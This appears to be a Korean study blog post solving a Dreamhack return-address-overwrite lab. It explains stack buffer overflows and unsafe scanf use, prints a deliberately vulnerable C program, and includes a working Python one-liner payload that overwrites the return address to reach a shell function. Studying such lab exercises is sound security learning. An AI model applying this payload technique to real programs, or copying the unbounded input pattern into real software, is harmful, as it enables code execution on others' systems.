songining
article thumbnail

์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ VS ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ 

์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ : ์Šคํƒ์˜์—ญ์ด ๋„ˆ๋ฌด ๋งŽ์ด ํ™•์žฅ๋ผ์„œ ๋ฐœ์ƒํ•˜๋Š” ๋ฒ„๊ทธ

์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ : ์Šคํƒ์— ์œ„์น˜ํ•œ ๋ฒ„ํผ์— ๋ฒ„ํผ์˜ ํฌ๊ธฐ๋ณด๋‹ค ๋งŽ์€ ๋ฐ์ดํ„ฐ๊ฐ€ ์ž…๋ ฅ๋˜์–ด ๋ฐœ์ƒํ•˜๋Š” ๋ฒ„๊ทธ (์Šคํƒ์˜ ๋ฒ„ํผ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ) 

 

๋ฒ„ํผ(buffer)๋ž€? ๋ฐ์ดํ„ฐ๊ฐ€ ๋ชฉ์ ์ง€๋กœ ์ด๋™๋˜๊ธฐ ์ „์— ๋ณด๊ด€๋˜๋Š” ์ž„์‹œ ์ €์žฅ์†Œ 

์Šคํƒ ๋ฒ„ํผ : ์Šคํƒ์— ์žˆ๋Š” ์ง€์—ญ๋ณ€์ˆ˜

ํž™ ๋ฒ„ํผ : ํž™์— ํ• ๋‹น๋œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ

 

Ex1) ๋ฐ์ดํ„ฐ ๋ณ€์กฐ 

- ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์ธํ•ด ๋’ค์˜ ๋ฐ์ดํ„ฐ ๊ฐ’์„ ๋ณ€์กฐ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค. 

Ex2) ๋ฐ์ดํ„ฐ ์œ ์ถœ 

c์–ธ์–ด์—์„œ ๋ฌธ์ž์—ด์˜ ๋์„ null๋กœ ์ธ์‹ํ•˜๋Š”๋ฐ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ํ†ตํ•ด null์„ ์—†์• ์ฃผ๋ฉด ๋’ค์˜ ๋ฐ์ดํ„ฐ๊นŒ์ง€ ํ•จ๊ป˜ ์ฝ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ด์ง„๋‹ค. 

Ex3) ์‹คํ–‰ํ๋ฆ„์กฐ์ž‘

์˜ˆ๋ฅผ ๋“ค๋ฉด ํ•จ์ˆ˜์˜ ret์— ์ž์‹ ์ด ์‹คํ–‰ํ•˜๊ณ  ์‹ถ์€ ๋ช…๋ น์–ด๊ฐ€ ์กด์žฌํ•˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์”Œ์šฐ๋ฉด ์‹คํ–‰ํ๋ฆ„์กฐ์ž‘์ด ๊ฐ€๋Šฅํ•˜๋‹ค. 

 

์ทจ์•ฝ์  ๋ถ„์„!!!

-scanf("%s",buf) ํ•จ์ˆ˜์˜ ํฌ๋งท ์ŠคํŠธ๋ฆผ์ค‘ ํ•˜๋‚˜์ธ %s๋Š” ๋ฌธ์ž์—ด ์ž…๋ ฅ์— ์‚ฌ์šฉํ•˜๋ฉฐ, ์ž…๋ ฅ์˜ ๊ธธ์ด๋ฅผ ์ œํ•œํ•˜์ง€ ์•Š๋Š”๋‹ค.

 ๊ณต๋ฐฑ๋ฌธ์ž์ธ ๋„์–ด์“ฐ๊ธฐ, ํƒญ, ๊ฐœํ–‰๋ฌธ์ž๊ฐ€ ๋“ค์–ด์˜ฌ๋•Œ๊นŒ์ง€ ๊ณ„์† ์ž…๋ ฅ์„ ๋ฐ›๋Š”๋‹ค.

---> ์•…์˜์ ์œผ๋กœ ๋ฒ„ํผ์˜ ํฌ๊ธฐ๋ณด๋‹ค ํฐ ๋ฐ์ดํ„ฐ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค. 

๋”ฐ๋ผ์„œ scanf์— %s ํฌ๋งท์€ ์‚ฌ์šฉํ•˜์ง€ ๋ง์•„์•ผ ํ•˜๋ฉฐ ์ •ํ™•ํžˆ n๊ฐœ์˜ ๋ฌธ์ž๋งŒ ์ž…๋ ฅ์„ ๋ฐ›๋Š” "%[n]s"์˜ ํ˜•ํƒœ๋กœ ์‚ฌ์šฉํ•ด์•ผํ•œ๋‹ค. 

๋ฌธ์ž์—ด์„ ์‚ฌ์šฉํ•  ๋•Œ๋Š” ๋ฐ˜๋“œ์‹œ ํ•ด๋‹น ๋ฌธ์ž์—ด์ด ๋„๋ฐ”์ดํŠธ๋กœ ์ข…๊ฒฐ๋˜๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค. (index out of bound๋ฅผ ๋ง‰๊ธฐ ์œ„ํ•ด)

 

์ด๋ฟ๋งŒ ์•„๋‹ˆ๋ผ, ๋ฒ„ํผ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด์„œ ๊ธธ์ด๋ฅผ ์ž…๋ ฅํ•˜์ง€ ์•Š๋Š” ํ•จ์ˆ˜๋“ค์€ ๋Œ€๋ถ€๋ถ„ ์œ„ํ—˜ํ•˜๋‹ค. 

(strcpy, strcat, sprintf)

 

๋น„์ •์ƒ์ ์œผ๋กœ ๊ธด ์ž…๋ ฅ์„ ์ค€ ๊ฒฝ์šฐ segmentation fault ์—๋Ÿฌ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค. (์ž˜๋ชป๋œ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ์— ์ ‘๊ทผํ–ˆ๋‹ค๋Š” ์˜๋ฏธ) 

Segmentation fault (core dumped) // core dumped ๋Š” ๋””๋ฒ„๊น…์„ ๋•๊ธฐ ์œ„ํ•ด ๋ฆฌ๋ˆ…์Šค๊ฐ€ ์ƒ์„ฑํ•ด์ฃผ๋Š” ์ฝ”์–ด ํŒŒ์ผ
gdb -c core //  gdb์—์„œ ์ฝ”์–ดํŒŒ์ผ ๋””๋ฒ„๊น… ๊ฐ€๋Šฅ

 

์Šคํƒํ”„๋ ˆ์ž„ ๊ตฌ์กฐ [์ถœ์ฒ˜: ๋“œ๋ฆผํ•ต]

 

์Šคํƒ๋ฒ„ํผ์— ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋ฐœ์ƒ์‹œ์ผœ์„œ ๋ฐ˜ํ™˜์ฃผ์†Œ๋ฅผ ๋ฎ์œผ๋ ค๋ฉด, ํ•ด๋‹น ๋ฒ„ํผ๊ฐ€ ์Šคํƒํ”„๋ ˆ์ž„์˜ ์–ด๋””์— ์œ„์น˜ํ•˜๋Š”์ง€ ์กฐ์‚ฌํ•ด์•ผํ•œ๋‹ค. 

 

[๊ณต๊ฒฉํ•  c ํŒŒ์ผ]

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

 

[scanf์˜ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ] 

   0x4005fe <main+25>            lea    rax, [rbp - 0x30]
   0x400602 <main+29>            mov    rsi, rax
   0x400605 <main+32>            lea    rdi, [rip + 0xa8] #0x4006b4
   0x40060c <main+39>            mov    eax, 0
 โ–บ 0x400611 <main+44>            call   __isoc99_scanf@plt <__isoc99_scanf@plt>

--> scaf("%s",rbp-0x30)

 

์ž…๋ ฅํ•  ๋ฒ„ํผ์™€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์‚ฌ์ด์˜ ๊ฑฐ๋ฆฌ๋งŒํผ์„ ์“ฐ๋ ˆ๊ธฐ ๊ฐ’์œผ๋กœ ์ฑ„์šฐ๊ณ  ๊ทธ ์ดํ›„์— ์กฐ์ž‘ํ•  ๋ช…๋ น์–ด ์ฃผ์†Œ๋กœ ret๋ฅผ ๋ฎ์–ด์”Œ์šฐ๋ฉด ๋œ๋‹ค!!

 

+) ํŒŒ์ด์ฌ ๊ณต๊ฒฉ ์ฝ”๋“œ ์ž‘์„ฑ๋ฒ•

python -c 'print("......................")'; cat) | ./"์‹คํ–‰ํŒŒ์ผ๋ช…"

 

(๋ฌธ์ œ ํ’€์ด)

1. rbp-0x30 ์— scanf๋กœ ๋ฌธ์ž์—ด์„ ๋ฐ›๋Š”๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธ 

2. rbp+0x8 (rip) ์— return address ์ €์žฅ๋˜์–ด์žˆ์Œ 

3. get_shell์˜ ์ฃผ์†Œ ์•Œ์•„๋‚ด์„œ ๋ฆฌํ‹€์—”๋””์•ˆ ๋ฐฉ์‹์œผ๋กœ ๊ณ ์นœ๋‹ค.

 

(python -c "print('A'*0x30 + 'B'*0x8 + '\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./"rao"

+) ์ฃผ์˜ํ•ด์•ผํ•  ๊ฒƒ 

- null byte overflow๋ฅผ ๋ง‰๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ฒ„ํผ์˜ ํฌ๊ธฐ๋ณด๋‹ค ์ตœ์†Œ 1byte ์ž‘๊ฒŒ ์ž…๋ ฅ์„ ๋ฐ›์•„์•ผ ํ•œ๋‹ค.!!!

 

 

 

 

[์ถœ์ฒ˜] 

dreamhack ์‚ฌ์ดํŠธ 

https://ccurity.tistory.com/229 [์—ด๊ณตํ•˜๋Š”๋ฒ ์งฑ์ด]

 

'Hacking > System Hacking' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[dreamhack] basic_exploitation_000 ๋ฌธ์ œํ’€์ด  (0) 2022.04.01
[dreamhack] Return Address Overwrite ํ’€์ด  (0) 2022.03.31
Shellcode ๋ž€?  (0) 2022.03.30
pwntools ์‚ฌ์šฉ๋ฒ•  (0) 2022.03.28
gdb ์‚ฌ์šฉ๋ฒ• ์ตํžˆ๊ธฐ  (0) 2022.03.28